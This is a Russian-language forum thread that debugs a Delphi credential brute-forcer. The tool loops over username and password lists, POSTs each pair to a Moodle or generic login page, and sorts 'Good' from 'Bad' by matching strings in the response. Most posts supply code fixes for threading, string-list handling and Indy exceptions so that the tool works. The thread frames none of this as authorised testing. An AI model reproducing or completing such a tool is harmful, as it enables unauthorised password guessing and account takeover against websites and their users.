синхронизация не при чем. это ошибка доступа к памяти возможно код в потоке Code: for ii:=0 to Form1.listbox1.count -1 do выполняется раньше, чем код основной Code: Form1.ListBox1.Items.LoadFromFile('login.txt'); попробуйте загружать в листбоксы перед запуском потока
Пошагово выполняйте программу: курсор на строку Data := TStringList.Create; F4 стартуете как обычно. как выполнение доходит до этой строки, программа остановится дальше, нажимая F8, пошагово выполняете код, можете смотреть значения всех переменных, наведя на них курсор и так, идя по коду, в какой-то момент наткнетесь на строку, где возникает ошибка
мдауж. логики ноль в ваших мыслях *** Data.Add('password='+Form1.listbox2.items); // тут вы обращаетесь к Data *** Data.Free; // а тут вы убиваете его при этом не выходя из двух вложенных циклов. Так что просто тупо перенеси Data.Free; в любое место после циклов. Если ты хотел таким образом сделать очистку, то очистка это Clear
if pos('http://www.site.ru/moodle/message/index.php',s) <> 0 then begin ShowMessage('GOOD'); // заносишь куда хочешь результат end;
Проверка на гуд будет следующей if pos('http://www.site.ru/moodle/message/index.php',s) <> 0 then begin Form1.Memo1.lines.add('Good: ' +username+ ':' + password + ''); else Form1.Memo1.lines.add('Bad: ' +username+ ':' + password + ''); end; Пробуйте
а надо так: Code: if pos('http://www.site.ru/moodle/message/index.php',s) <> 0 then begin ShowMessage('GOOD'); [B]Synchronize[/B](Form1.Memo2.Lines.Add('good login:'+Form1.listbox1.items[ii])); [B]Synchronize[/B](Form1.Memo2.Lines.Add('good pass:'+Form1.listbox2.items[i])); end;
Я цикл перебора по одному списку реализовывал: for i:=0 to TSource.Count-1 do begin username:=TSource.Names; password:=TSource.ValueFromIndex; TSource - это TStringList; Ну а запрос сам такой: try BrutePage:=http.post('http://www.site.com/login.php', postdata); except end; if Pos('ERROR: You have entered an invalid username or password.',BrutePage)<>0 then Result:=1 else Result:=0; Synchronize(sync); используйте блок try except, как я указал выше Переменную Result объявляем в private И процедура синхронизации: procedure TNewThread.Sync; begin case Result of 0: begin Form1.Memo1.lines.add('Good: ' +username+ ':' + password + ''); end; 1: begin Form1.Memo1.lines.add('Bad: ' +username+ ':' + password + ' end; end; end;
А ты уверен, что написав процедуру с именем Sync ты проводишь синхронизацию? /showpost.php?p=2724881&postcount=15 ругань пропускай, а про контролы почитай))
Это не ошибка а исключение, которое генерирует сам Indy. Помести блок кода работы с Indy в try...except и отключи внутренний отладчик Delphi либо запускай прогу не с помощью F9, а с помощью самого exe файла.
Значит ты не все учел в своем бруте. На твоем изображении Indy генерирует исключение из за того, что получил в ответ от сервера код 404. Это означает, что такой страницы на сервере не существует. Пересмотри в своей программе, куда именно ты отправляешь запросы.
Slesh довольно четко объяснил: Это значит там где у тебя Data.Clear; пиши Data.Free; А перед строками: Data.Add('password='+Form1.listbox2.items); Data.Add('testcookies=1'); пиши Data.Clear;